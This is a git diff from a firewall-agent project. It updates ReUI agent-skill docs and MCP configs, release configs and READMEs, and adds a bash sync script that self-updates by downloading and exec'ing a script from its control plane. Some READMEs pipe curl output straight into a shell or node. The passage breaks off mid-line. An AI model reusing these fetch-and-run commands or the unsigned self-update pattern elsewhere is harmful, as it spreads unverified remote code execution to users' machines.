**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
|
||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||
|
||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||
|
||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
||||
|
||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
||||
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||
|
||||
## 2. Install (shadcn CLI)
|
||||
|
||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
||||
|
||||
Before writing code against any component an item uses:
|
||||
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||
|
||||
|
||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
|
||||
## The 5 task-specific tools (when to reach for each)
|
||||
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
||||
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||
|
||||
## All 19 tools
|
||||
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
|
||||
## Token + speed rules
|
||||
|
||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||
|
||||
## Error playbook
|
||||
|
||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
||||
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||
|
||||
## Fallbacks
|
||||
|
||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||
@@ -0,0 +1,50 @@
|
||||
{
|
||||
"branches": ["main", "master"],
|
||||
"tagFormat": "v${version}",
|
||||
"plugins": [
|
||||
[
|
||||
"@semantic-release/commit-analyzer",
|
||||
{
|
||||
"preset": "conventionalcommits",
|
||||
"releaseRules": [
|
||||
{ "type": "feat", "release": "minor" },
|
||||
{ "type": "fix", "release": "patch" },
|
||||
{ "type": "perf", "release": "patch" },
|
||||
{ "type": "ci", "release": "patch" },
|
||||
{ "type": "refactor", "release": "patch" },
|
||||
{ "breaking": true, "release": "major" }
|
||||
]
|
||||
}
|
||||
],
|
||||
[
|
||||
"@semantic-release/release-notes-generator",
|
||||
{
|
||||
"preset": "conventionalcommits"
|
||||
}
|
||||
],
|
||||
[
|
||||
"@semantic-release/changelog",
|
||||
{
|
||||
"changelogFile": "CHANGELOG.md"
|
||||
}
|
||||
],
|
||||
[
|
||||
"@semantic-release/exec",
|
||||
{
|
||||
"successCmd": "echo ${nextRelease.version} > .release-version"
|
||||
}
|
||||
],
|
||||
[
|
||||
"@markwylde/semantic-release-gitea",
|
||||
{
|
||||
"giteaUrl": "https://git.shx.one",
|
||||
"assets": [
|
||||
{
|
||||
"path": "CHANGELOG.md",
|
||||
"label": "Changelog"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"mcp": {
|
||||
"servers": {
|
||||
"reui": {
|
||||
"type": "http",
|
||||
"url": "https://mcp.reui.io/api/mcp",
|
||||
"headers": {
|
||||
"Authorization": "Bearer <REUI_LICENSE_KEY>"
|
||||
}
|
||||
},
|
||||
"shadcn": {
|
||||
"type": "stdio",
|
||||
"command": "cmd",
|
||||
"args": ["/c", "npx", "-y", "shadcn@latest", "mcp"],
|
||||
"cwd": "<abs-path>/apps/web"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -25,15 +25,19 @@ pnpm --filter @evofw/web build
|
||||
## ReUI PRO
|
||||
|
||||
Surface: **frame**. Hierarchy: **ReUI PRO > shadcn**. Contract: `docs/ui-design-contract.md`.
|
||||
MCP `user-reui` primary + `plugin-shadcn-shadcn` primitives. CLI из `apps/web`.
|
||||
MCP `reui` (PRO, Bearer `REUI_LICENSE_KEY`) primary + `shadcn` primitives — локально: `.zcode/config.json` (ZCode, шаблон `.zcode/config.json.example`) / `.cursor/mcp.json` (Cursor). CLI из `apps/web`.
|
||||
KPI/QuickActions: EvoBGP hybrid SoT (`KpiStatGrid`, `QuickActionGrid`).
|
||||
Docs: [Introduction](https://reui.io/docs) · [llms.txt](https://reui.io/llms.txt) · [MCP](https://reui.io/docs/mcp) · [Agent Skills](https://reui.io/docs/agent-skills).
|
||||
Skill: `.claude/skills/reui` (`668fb463eb`).
|
||||
Skill: `.agents/skills/reui` (v `d9f4a302f4`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
|
||||
|
||||
## Docs
|
||||
|
||||
`docs/architecture.md`, `docs/agents.md`, `docs/integrate-auth-portal.md`, `docs/integrate-evobgp.md`.
|
||||
`docs/architecture.md`, `docs/agents.md`, `docs/integrate-auth-portal.md`, `docs/integrate-evobgp.md`, `docs/releasing.md`.
|
||||
|
||||
## CI / Docker
|
||||
|
||||
Gitea: `.gitea/workflows/{ci,cd,quality}.yaml`. Образы: `deploy/docker` (`node:22-alpine`, bake + registry cache). Не корневой `Dockerfile`.
|
||||
|
||||
## Git
|
||||
|
||||
`origin` → https://git.shts.su/denozord/EvoFirewall.git
|
||||
`origin` → https://git.shx.one/denozord/EvoFirewall.git
|
||||
-53
@@ -1,53 +0,0 @@
|
||||
# syntax=docker/dockerfile:1
|
||||
|
||||
ARG NODE_VERSION=22.23.0-bookworm-slim
|
||||
|
||||
FROM node:${NODE_VERSION} AS build
|
||||
WORKDIR /app
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends python3 make g++ \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& corepack enable
|
||||
|
||||
COPY package.json pnpm-workspace.yaml pnpm-lock.yaml turbo.json ./
|
||||
COPY apps/web/package.json apps/web/
|
||||
COPY apps/api/package.json apps/api/
|
||||
COPY packages/ui/package.json packages/ui/
|
||||
COPY packages/shared/package.json packages/shared/
|
||||
COPY packages/db/package.json packages/db/
|
||||
RUN --mount=type=cache,id=pnpm-store,target=/root/.local/share/pnpm/store \
|
||||
pnpm install --frozen-lockfile
|
||||
|
||||
COPY apps/web apps/web
|
||||
COPY apps/api apps/api
|
||||
COPY packages/ui packages/ui
|
||||
COPY packages/shared packages/shared
|
||||
COPY packages/db packages/db
|
||||
|
||||
RUN pnpm turbo build --filter=@evofw/web --filter=@evofw/api \
|
||||
&& pnpm --filter @evofw/api deploy --prod /out \
|
||||
&& cp -r apps/web/dist /out/static \
|
||||
&& mkdir -p /out/dist/agent-scripts \
|
||||
&& cp -r apps/api/src/agent-scripts/* /out/dist/agent-scripts/ \
|
||||
&& rm -rf /out/src /out/test /out/.turbo \
|
||||
&& rm -rf /out/node_modules/@evofw/db/src /out/node_modules/@evofw/db/.turbo \
|
||||
&& rm -rf /out/node_modules/@evofw/shared/src /out/node_modules/@evofw/shared/.turbo
|
||||
|
||||
FROM node:${NODE_VERSION}
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends ca-certificates \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /app
|
||||
ENV NODE_ENV=production \
|
||||
STATIC_DIR=/app/static \
|
||||
DATABASE_URL=sqlite:/data/app.db \
|
||||
SERVER_PORT=8080
|
||||
|
||||
COPY --from=build /out ./
|
||||
|
||||
EXPOSE 8080
|
||||
VOLUME ["/data"]
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
|
||||
CMD ["node", "-e", "fetch('http://127.0.0.1:8080/health').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"]
|
||||
CMD ["node", "dist/server.js"]
|
||||
@@ -42,6 +42,15 @@ curl -fsSL http://localhost:8080/v1/agent/install.sh | \
|
||||
|
||||
Затем Approve в UI `/agents`.
|
||||
|
||||
## Docker
|
||||
|
||||
```bash
|
||||
cd deploy/docker
|
||||
docker buildx bake --allow=fs.read=../.. -f docker-bake.hcl --print default
|
||||
```
|
||||
|
||||
Compose: [`deploy/compose/docker-compose.example.yaml`](deploy/compose/docker-compose.example.yaml). Образ: `git.shx.one/<owner>/evofw` (алиас `evofirewall`). CI/релизы: [`docs/releasing.md`](docs/releasing.md).
|
||||
|
||||
## Docs
|
||||
|
||||
См. [`docs/README.md`](docs/README.md).
|
||||
@@ -49,5 +58,5 @@ curl -fsSL http://localhost:8080/v1/agent/install.sh | \
|
||||
## Git
|
||||
|
||||
```
|
||||
origin https://git.shts.su/denozord/EvoFirewall.git
|
||||
origin https://git.shx.one/denozord/EvoFirewall.git
|
||||
```
|
||||
@@ -5,6 +5,7 @@
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "tsx watch src/server.ts",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
|
||||
"start": "node dist/server.js",
|
||||
"test": "vitest run"
|
||||
|
||||
@@ -8,6 +8,7 @@ STATE_DIR=/var/lib/evofw
|
||||
HASH_FILE="${STATE_DIR}/last_hash"
|
||||
POLICY_FILE="${STATE_DIR}/last_policy.json"
|
||||
IP_HITS_TOP=200
|
||||
PORT_HITS_TOP=500
|
||||
|
||||
log() { echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) $*" | tee -a "$LOG_FILE"; }
|
||||
|
||||
@@ -23,9 +24,81 @@ source "$CONF_FILE"
|
||||
CLIENT_TOKEN="${CLIENT_TOKEN//$'\r'/}"
|
||||
CLIENT_TOKEN="${CLIENT_TOKEN//$'\n'/}"
|
||||
BACKEND="${KERNEL_BACKEND:-auto}"
|
||||
SYNC_SCRIPT=/usr/local/sbin/evofw-firewall.sh
|
||||
|
||||
mkdir -p "$STATE_DIR"
|
||||
|
||||
file_sha256() {
|
||||
local f=$1
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
sha256sum "$f" 2>/dev/null | awk '{print $1}'
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
openssl dgst -sha256 "$f" 2>/dev/null | awk '{print $NF}'
|
||||
else
|
||||
echo ""
|
||||
fi
|
||||
}
|
||||
|
||||
# Pull a newer sync script from CP before policy (pending agents too).
|
||||
# Errors must not abort this run — keep the current script.
|
||||
maybe_self_update() {
|
||||
if [[ "${EVOFW_SKIP_SELF_UPDATE:-}" == "1" ]]; then
|
||||
return 0
|
||||
fi
|
||||
if [[ ! -f "$SYNC_SCRIPT" ]]; then
|
||||
return 0
|
||||
fi
|
||||
local local_sha tmp code remote_sha
|
||||
local_sha=$(file_sha256 "$SYNC_SCRIPT")
|
||||
tmp=$(mktemp "${STATE_DIR}/sync-script.XXXXXX") || return 0
|
||||
if [[ -n "$local_sha" ]]; then
|
||||
code=$(curl -sS -o "$tmp" -w '%{http_code}' \
|
||||
-H "If-None-Match: \"${local_sha}\"" \
|
||||
"${EVOFW_CP_URL%/}/v1/agent/sync-script") || code="000"
|
||||
else
|
||||
code=$(curl -sS -o "$tmp" -w '%{http_code}' \
|
||||
"${EVOFW_CP_URL%/}/v1/agent/sync-script") || code="000"
|
||||
fi
|
||||
if [[ "$code" == "304" ]]; then
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
if [[ "$code" != "200" ]]; then
|
||||
log "self-update: sync-script HTTP ${code} — keep current"
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
if ! head -n1 "$tmp" | grep -q '^#!'; then
|
||||
log "self-update: sync-script is not a shell script — keep current"
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
remote_sha=$(file_sha256 "$tmp")
|
||||
if [[ -z "$remote_sha" ]]; then
|
||||
log "self-update: cannot hash download — keep current"
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
if [[ -n "$local_sha" && "$remote_sha" == "$local_sha" ]]; then
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
if ! install -m 755 "$tmp" "$SYNC_SCRIPT"; then
|
||||
log "self-update: install failed — keep current"
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
rm -f "$tmp"
|
||||
rm -f "$HASH_FILE"
|
||||
log "self-update: installed script sha256=${remote_sha} — re-exec"
|
||||
exec env EVOFW_SKIP_SELF_UPDATE=1 "$SYNC_SCRIPT" || {
|
||||
log "self-update: exec failed — continue current"
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
maybe_self_update
|
||||
|
||||
curl_policy() {
|
||||
local dest="$1"
|
||||
local code
|
||||
@@ -56,6 +129,7 @@ fi
|
||||
|
||||
parse_policy() {
|
||||
local f="$1"
|
||||
PORT_RULES_FILE="${STATE_DIR}/last_port_rules.json"
|
||||
if command -v jq >/dev/null 2>&1; then
|
||||
HASH=$(jq -r '.hash // empty' "$f")
|
||||
DEFAULT_ACTION=$(jq -r '.default_action // empty' "$f")
|
||||
@@ -66,10 +140,11 @@ parse_policy() {
|
||||
fi
|
||||
mapfile -t DENY < <(jq -r '.deny_cidrs[]? // empty' "$f")
|
||||
mapfile -t ALLOW < <(jq -r '.allow_cidrs[]? // empty' "$f")
|
||||
jq -c '.port_rules // []' "$f" >"$PORT_RULES_FILE" 2>/dev/null || echo '[]' >"$PORT_RULES_FILE"
|
||||
return 0
|
||||
fi
|
||||
if command -v python3 >/dev/null 2>&1; then
|
||||
eval "$(python3 - "$f" <<'PY'
|
||||
eval "$(python3 - "$f" "$PORT_RULES_FILE" <<'PY'
|
||||
import json,sys
|
||||
d=json.load(open(sys.argv[1],encoding="utf-8"))
|
||||
print(f'HASH={d.get("hash") or ""}')
|
||||
@@ -79,6 +154,7 @@ if not da:
|
||||
print(f'DEFAULT_ACTION={da}')
|
||||
print("DENY=("+" ".join(json.dumps(x) for x in (d.get("deny_cidrs") or []))+")")
|
||||
print("ALLOW=("+" ".join(json.dumps(x) for x in (d.get("allow_cidrs") or []))+")")
|
||||
open(sys.argv[2],"w",encoding="utf-8").write(json.dumps(d.get("port_rules") or []))
|
||||
PY
|
||||
)"
|
||||
return 0
|
||||
@@ -88,17 +164,31 @@ PY
|
||||
}
|
||||
|
||||
HASH=""; DEFAULT_ACTION=accept; DENY=(); ALLOW=()
|
||||
PORT_RULES_FILE="${STATE_DIR}/last_port_rules.json"
|
||||
parse_policy "$POLICY_FILE"
|
||||
# Empty deny/allow is valid — agent may have no rule sets yet.
|
||||
DENY=("${DENY[@]+"${DENY[@]}"}")
|
||||
ALLOW=("${ALLOW[@]+"${ALLOW[@]}"}")
|
||||
log "default_action=$DEFAULT_ACTION deny=${#DENY[@]} allow=${#ALLOW[@]} hash=$HASH"
|
||||
[[ -f "$PORT_RULES_FILE" ]] || echo '[]' >"$PORT_RULES_FILE"
|
||||
PORT_RULES_COUNT=0
|
||||
if command -v python3 >/dev/null 2>&1; then
|
||||
PORT_RULES_COUNT=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))))' "$PORT_RULES_FILE" 2>/dev/null || echo 0)
|
||||
fi
|
||||
log "default_action=$DEFAULT_ACTION deny=${#DENY[@]} allow=${#ALLOW[@]} port_rules=$PORT_RULES_COUNT hash=$HASH"
|
||||
|
||||
PACKETS_DROPPED=0
|
||||
PACKETS_ACCEPTED=0
|
||||
KERNEL_METHOD=""
|
||||
APPLIED=0
|
||||
IP_HITS_JSON="[]"
|
||||
# Snapshot / hits live on disk — never via bash ${var:-{...}} (} truncates expansion).
|
||||
HOST_FW_FILE="${STATE_DIR}/host_firewall.json"
|
||||
IP_HITS_FILE="${STATE_DIR}/ip_hits.json"
|
||||
PORT_HITS_FILE="${STATE_DIR}/port_hits.json"
|
||||
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
|
||||
printf '%s' '[]' >"$IP_HITS_FILE"
|
||||
printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
# 1 when deny_port_hits dynamic set is available for this apply.
|
||||
PORT_HITS_ENABLED=0
|
||||
|
||||
nft_join() {
|
||||
local out="" p
|
||||
@@ -118,86 +208,105 @@ nft_add_chunk() {
|
||||
}
|
||||
}
|
||||
|
||||
# Ensure inet set exists with interval + counter (recreate if missing counter).
|
||||
# Ensure inet set exists. Prefer per-element counters; many kernels reject
|
||||
# `counter` on interval sets — fall back to plain interval (no per-IP hits).
|
||||
# Caller must delete referencing chains before recreating a set.
|
||||
ensure_nft_set() {
|
||||
local table=$1 name=$2 setname=$3
|
||||
local def
|
||||
def=$(nft -a list set "$table" "$name" "$setname" 2>/dev/null || true)
|
||||
def=$(nft list set "$table" "$name" "$setname" 2>/dev/null || true)
|
||||
if [[ -n "$def" ]] && [[ "$def" == *"counter"* ]]; then
|
||||
return 0
|
||||
fi
|
||||
if [[ -n "$def" ]]; then
|
||||
# Upgrade path: drop old set without counters (chain must already be gone).
|
||||
nft delete set "$table" "$name" "$setname" 2>>"$LOG_FILE" || true
|
||||
fi
|
||||
nft add set "$table" "$name" "$setname" '{ type ipv4_addr; flags interval; counter; }' 2>>"$LOG_FILE"
|
||||
if nft add set "$table" "$name" "$setname" '{ type ipv4_addr; flags interval; counter; }' 2>>"$LOG_FILE"; then
|
||||
return 0
|
||||
fi
|
||||
# Set may still exist if delete failed — try plain create only if missing.
|
||||
if nft list set "$table" "$name" "$setname" >/dev/null 2>&1; then
|
||||
log "nft: keep existing set $setname (no per-element counter)"
|
||||
return 0
|
||||
fi
|
||||
if nft add set "$table" "$name" "$setname" '{ type ipv4_addr; flags interval; }' 2>>"$LOG_FILE"; then
|
||||
log "nft: set $setname without counter (interval+counter unsupported)"
|
||||
return 0
|
||||
fi
|
||||
log "nft: failed to create set $setname"
|
||||
return 1
|
||||
}
|
||||
|
||||
collect_nft_stats() {
|
||||
PACKETS_DROPPED=0; PACKETS_ACCEPTED=0
|
||||
local line n
|
||||
while IFS= read -r line; do
|
||||
[[ "$line" =~ packets[[:space:]]+([0-9]+) ]] || continue
|
||||
n="${BASH_REMATCH[1]}"
|
||||
# Policy set hits only (ignore lo / established noise)
|
||||
if [[ "$line" == *@deny_v4* ]]; then
|
||||
PACKETS_DROPPED=$((PACKETS_DROPPED + n))
|
||||
elif [[ "$line" == *@allow_v4* ]]; then
|
||||
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
|
||||
elif [[ "$line" == *" counter drop"* && "$line" != *@* ]]; then
|
||||
PACKETS_DROPPED=$((PACKETS_DROPPED + n))
|
||||
elif [[ "$line" == *" counter accept"* && "$line" != *@* && "$line" != *established* && "$line" != *"iif \"lo\""* && "$line" != *"iif lo"* ]]; then
|
||||
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
|
||||
fi
|
||||
done < <(nft list chain inet evofw input 2>/dev/null || true)
|
||||
local line n chain
|
||||
for chain in input forward prerouting; do
|
||||
while IFS= read -r line; do
|
||||
[[ "$line" =~ packets[[:space:]]+([0-9]+) ]] || continue
|
||||
n="${BASH_REMATCH[1]}"
|
||||
# Policy set hits only (ignore lo / established noise)
|
||||
if [[ "$line" == *@deny_v4* ]]; then
|
||||
PACKETS_DROPPED=$((PACKETS_DROPPED + n))
|
||||
elif [[ "$line" == *@allow_v4* ]]; then
|
||||
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
|
||||
elif [[ "$line" == *" counter drop"* && "$line" != *@* ]]; then
|
||||
PACKETS_DROPPED=$((PACKETS_DROPPED + n))
|
||||
elif [[ "$line" == *" counter accept"* && "$line" != *@* && "$line" != *established* && "$line" != *"iif \"lo\""* && "$line" != *"iif lo"* ]]; then
|
||||
PACKETS_ACCEPTED=$((PACKETS_ACCEPTED + n))
|
||||
fi
|
||||
done < <(nft list chain inet evofw "$chain" 2>/dev/null || true)
|
||||
done
|
||||
}
|
||||
|
||||
# Parse nft set / ipset listing → top-N JSON [{"ip":"...","packets":N},...]
|
||||
build_ip_hits_json() {
|
||||
local text="$1"
|
||||
if command -v python3 >/dev/null 2>&1; then
|
||||
IP_HITS_JSON=$(IP_HITS_TOP="$IP_HITS_TOP" python3 -c '
|
